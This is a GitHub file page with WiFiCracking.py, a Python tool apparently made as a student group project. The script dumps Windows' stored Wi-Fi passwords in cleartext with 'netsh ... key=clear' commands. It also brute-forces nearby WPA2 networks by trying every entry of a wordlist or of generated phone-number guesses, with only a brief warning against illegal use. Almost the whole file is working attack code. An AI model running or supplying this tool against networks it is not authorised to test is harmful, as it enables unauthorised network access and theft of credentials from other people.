-
Notifications
You must be signed in to change notification settings - Fork 3
/
WiFiCracking.py
441 lines (375 loc) · 16.4 KB
/
WiFiCracking.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
import colorama
import subprocess
from time import sleep
import pywifi
import pyfiglet
import time
from pywifi import const
import os
from colorama import Fore
import random
def menu():
subprocess.run('cls', shell=True)
ascii_art = pyfiglet.figlet_format("! Wi Fi Cracking !")
print(ascii_art)
colorama.init(autoreset=True)
print(Fore.LIGHTRED_EX + "[1] Crack Current WiFi \n")
print(Fore.LIGHTRED_EX + "[2] Crack Previously Connected WiFis \n")
print(Fore.LIGHTRED_EX + "[3] Crack Any WiFi Network With Your Preferred WordList \n")
print(Fore.LIGHTRED_EX + "[4] Crack Any WiFi Network with a Phone Numbers WordList \n")
print(Fore.LIGHTRED_EX + "[5] Exist \n")
while True:
choice = input("Please Choose a Number: ")
if choice == '1':
subprocess.run('cls', shell=True)
print(Fore.LIGHTRED_EX + pyfiglet.figlet_format("! Current Wi Fi !"))
current_WiFi()
break
elif choice == '2':
subprocess.run('cls', shell=True)
print(Fore.LIGHTRED_EX + pyfiglet.figlet_format("! Previous Wi Fi !"))
previously_WiFi()
break
elif choice == '3':
subprocess.run('cls', shell=True)
print(Fore.LIGHTCYAN_EX + pyfiglet.figlet_format("! Any Wi Fi !"))
op3()
break
elif choice == '4':
subprocess.run('cls', shell=True)
print(Fore.LIGHTCYAN_EX + pyfiglet.figlet_format("! Crack With Phone Numbers !"))
crack_with_phone_numbers()
elif choice == '5':
subprocess.run('cls', shell=True)
print(Fore.YELLOW + pyfiglet.figlet_format("! WARNING !"))
print(Fore.YELLOW + "We advise against using this tool for illegal activities.")
sleep(3)
subprocess.run('cls', shell=True)
print(pyfiglet.figlet_format("Cracking Wifi Tool By Group 6"))
sleep(0.7)
print("Developed By:")
sleep(0.7)
print(Fore.LIGHTRED_EX + "[1] Maryam Tariq AlBugaey")
sleep(0.7)
print(Fore.LIGHTRED_EX + "[2] Fatima Husain Abujaid")
sleep(0.7)
print(Fore.LIGHTRED_EX + "[3] Sara Nasser AlSubaie")
sleep(0.7)
print(Fore.LIGHTRED_EX + "[4] Juri Mohammed Alaqeel")
sleep(0.7)
print(Fore.LIGHTRED_EX + "[5] Lwlah Aldowihi\n")
sleep(0.7)
print(Fore.LIGHTRED_EX +" --- Instructor: Mr.Hussain Alattas ---")
exit()
else:
print("Invalid Input!! Please enter number from 1 to 5")
def current_WiFi():
# Use Python to execute windows command
command = subprocess.run(["netsh", "wlan", "show", "interfaces"], capture_output=True).stdout.decode()
ls = command.split("\n")
for line in ls:
if line.lstrip().startswith("SSID"):
curr = line.lstrip()[25:]
curr = str(curr)
curr = "\"" + curr
list2 = list(curr)
list2[len(list2) - 1] = "\""
str1 = ''.join(list2)
vmrun_cmd = "netsh wlan show profile name= " + str1 + " key=clear"
command2 = subprocess.run(vmrun_cmd, capture_output=True).stdout.decode()
command2 = command2.split("\n")
for line in command2:
if line.lstrip().startswith("Name"):
ssidName = line.lstrip()[25:]
if line.lstrip().startswith("Key Content"):
key = line.lstrip()[25:]
print("SSID: %s" % ssidName)
print(Fore.LIGHTRED_EX + "Password: %s" % key)
def previously_WiFi():
WiFiFile = []
WiFiName = []
WiFiPassword = []
# Use cmd to execute command
command = subprocess.run(["netsh", "wlan", "export", "profile", "key=clear"], capture_output=True).stdout.decode()
# Get the current directory
path = os.getcwd()
# Wi-Fi Cracking
for file in os.listdir(path):
if (file.startswith("Wi-Fi") or file.startswith("WiFi")) and file.endswith(".xml"):
WiFiFile.append(file)
for i in WiFiFile:
with open(i, "r") as f:
for line in f.readlines():
if 'name' in line:
stripped = line.strip()
front = stripped[6:]
back = front[:-7]
WiFiName.append(back)
if "keyMaterial" in line:
stripped = line.strip()
front = stripped[13:]
back = front[:-14]
WiFiPassword.append(back)
for x, y in zip(WiFiName, WiFiPassword):
print("SSID: " + x, Fore.LIGHTRED_EX + "Password: " + y, sep='\n')
# WiFi scanner
def wifi_scan():
# interface information
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0] # use the first interface
# start scan
interface.scan()
for i in range(2):
time.sleep(1)
print('\rThe WiFi is being Scanning, Wait for [ ' + str(1 - i), end=' ]')
print('\rScan Completed !!\n' + '=' * 40)
print('\r{:6}{:10}{}'.format('No.', 'Strength', 'WiFi Name'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
# dealing with decoding
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# store into a list sorted by signal strength
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# format output
while num < len(wifi_name_list):
print('\r{:<6d}{:<10d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('=' * 40)
return wifi_name_list
def wifi_password_crack(wifi_name):
# password dictionary file
wifi_dic_path = input("Select a wordlist of password dictionary used to brute force attack: ")
with open(wifi_dic_path, 'r') as f:
# loop through all combinations
for pwd in f:
# strip of the trailing new line character
pwd = pwd.strip('\n')
wifi = pywifi.PyWiFi()
# initialise interface using the first one
interface = wifi.interfaces()[0]
# disconnect all other connections
interface.disconnect()
# waiting for all disconnection to complete
while interface.status() == 4:
# break from the loop once all disconnection complete
pass
# initialise profile
profile = pywifi.Profile()
# wifi name
profile.ssid = wifi_name
# need verification
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi password
profile.key = pwd
interface.remove_all_network_profiles()
tmp_profile = interface.add_network_profile(profile)
# attempting new connection
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# when interface connection status is 4, it succeeds
# greater than 1.5s normally means the connection failed
# normal successful connection is completed in 1.5s
# increase the timer to increase the accuracy at the cost of slower speed
if interface.status() == 4:
print(Fore.LIGHTGREEN_EX + f'\rConnection Succeeded!Password:{pwd}')
user_choice = input(
"Would you like to print the information of network ? \nType Y (yes) or N (no): ")
if user_choice == 'Y' or user_choice == 'y':
print(Fore.LIGHTCYAN_EX + pyfiglet.figlet_format("! W i F i Info !"))
print(subprocess.run(["netsh", "wlan", "show", "profile", wifi_name, "key=clear"],
capture_output=True).stdout.decode())
elif user_choice == 'N' or user_choice == 'n':
print("Goodbye")
else:
print("Invalid choice.")
exit(0)
else:
print(Fore.LIGHTRED_EX + f'\rTrying with {pwd}', end='')
def wifi_password_crack_with_numbers(name):
# password dictionary file
with open("pass.txt", 'r') as f:
# loop through all combinations
for pwd in f:
# strip of the trailing new line character
pwd = pwd.strip('\n')
wifi = pywifi.PyWiFi()
# initialise interface using the first one
interface = wifi.interfaces()[0]
# disconnect all other connections
interface.disconnect()
# waiting for all disconnection to complete
while interface.status() == 4:
# break from the loop once all disconnection complete
pass
# initialise profile
profile = pywifi.Profile()
# wifi name
profile.ssid = name
# need verification
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi password
profile.key = pwd
interface.remove_all_network_profiles()
tmp_profile = interface.add_network_profile(profile)
# attempting new connection
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# when interface connection status is 4, it succeeds
# greater than 1.5s normally means the connection failed
# normal successful connection is completed in 1.5s
# increase the timer to increase the accuracy at the cost of slower speed
if interface.status() == 4:
print(Fore.LIGHTGREEN_EX + f'\rConnection Succeeded!Password:{pwd}')
user_choice = input(
"Would you like to print the information of network ? \nType Y (yes) or N (no): ")
if user_choice == 'Y' or user_choice == 'y':
print(Fore.LIGHTCYAN_EX + pyfiglet.figlet_format("! W i F i Info !"))
print(subprocess.run(["netsh", "wlan", "show", "profile", wifi_name, "key=clear"],
capture_output=True).stdout.decode())
elif user_choice == 'N' or user_choice == 'n':
print("Goodbye")
else:
print("Invalid choice.")
exit(0)
else:
print(Fore.LIGHTRED_EX + f'\rTrying with {pwd}', end='')
def op3():
# exit signal
exit_flag = 0
# target number
target_num = -1
while not exit_flag:
try:
print(' WiFi Networks '.center(40, '='))
wifi_list = wifi_scan()
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('Please Select The WiFi you Want to Crack: '))
if target_num in range(len(wifi_list)):
# double-confirm
while not choose_exit_flag:
try:
choose = str(
input(f'The Selected WiFi : {wifi_list[target_num][1]},Are You Sure? (Y/N)'))
# lower case the confirmation input
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# exception handling
else:
print('Invalid input!! Please Chose only (Y/N)')
# exception handling
except ValueError:
print('Invalid input!! Please Chose only (Y/N)')
# exit
if choose_exit_flag == 1:
break
else:
print("")
except ValueError:
print('Invalid input!! Please Enter a number: ')
wifi_password_crack(wifi_list[target_num][1])
print('=' * 45)
exit_flag = 1
except Exception as e:
print(e)
raise e
def op4():
# exit signal
exit_flag = 0
# target number
target_num = -1
while not exit_flag:
try:
print(' WiFi Networks '.center(40, '='))
wifi_list = wifi_scan()
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('Please Select The WiFi you Want to Crack: '))
if target_num in range(len(wifi_list)):
# double-confirm
while not choose_exit_flag:
try:
choose = str(
input(f'The Selected WiFi : {wifi_list[target_num][1]},Are You Sure? (Y/N)'))
# lower case the confirmation input
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# exception handling
else:
print('Invalid input!! Please Chose only (Y/N)')
# exception handling
except ValueError:
print('Invalid input!! Please Chose only (Y/N)')
# exit
if choose_exit_flag == 1:
break
else:
print("")
except ValueError:
print('Invalid input!! Please Enter a number: ')
wifi_password_crack_with_numbers(wifi_list[target_num][1])
print('=' * 45)
exit_flag = 1
except Exception as e:
print(e)
raise e
def crack_with_phone_numbers ():
with open("pass.txt", "w") as f:
STC = '055'
for y in range(100):
for x in range(7):
num = random.randint(1000000, 9999990)
n1 = str(STC) + str(num)
f.write(n1 + '\n')
break
with open("pass.txt", "a") as f:
mobily = '054'
for y in range(100):
for x in range(7):
num = random.randint(1000000, 9999990)
n2 = str(mobily) + str(num)
f.write(n2 + '\n')
break
mobily2 = '056'
for y in range(100):
for x in range(7):
num = random.randint(1000000, 9999990)
n3 = str(mobily2) + str(num)
f.write(n3 + '\n')
break
zain = '053'
for y in range(100):
for x in range(7):
num = random.randint(1000000, 9999990)
n4 = str(zain) + str(num)
f.write(n4 + '\n')
break
zain2 = '059'
for y in range(100):
for x in range(7):
num = random.randint(1000000, 9999990)
n5 = str(zain2) + str(num)
f.write(n5 + '\n')
break
op4()
# main execution function
def main():
menu()
if __name__ == '__main__':
main()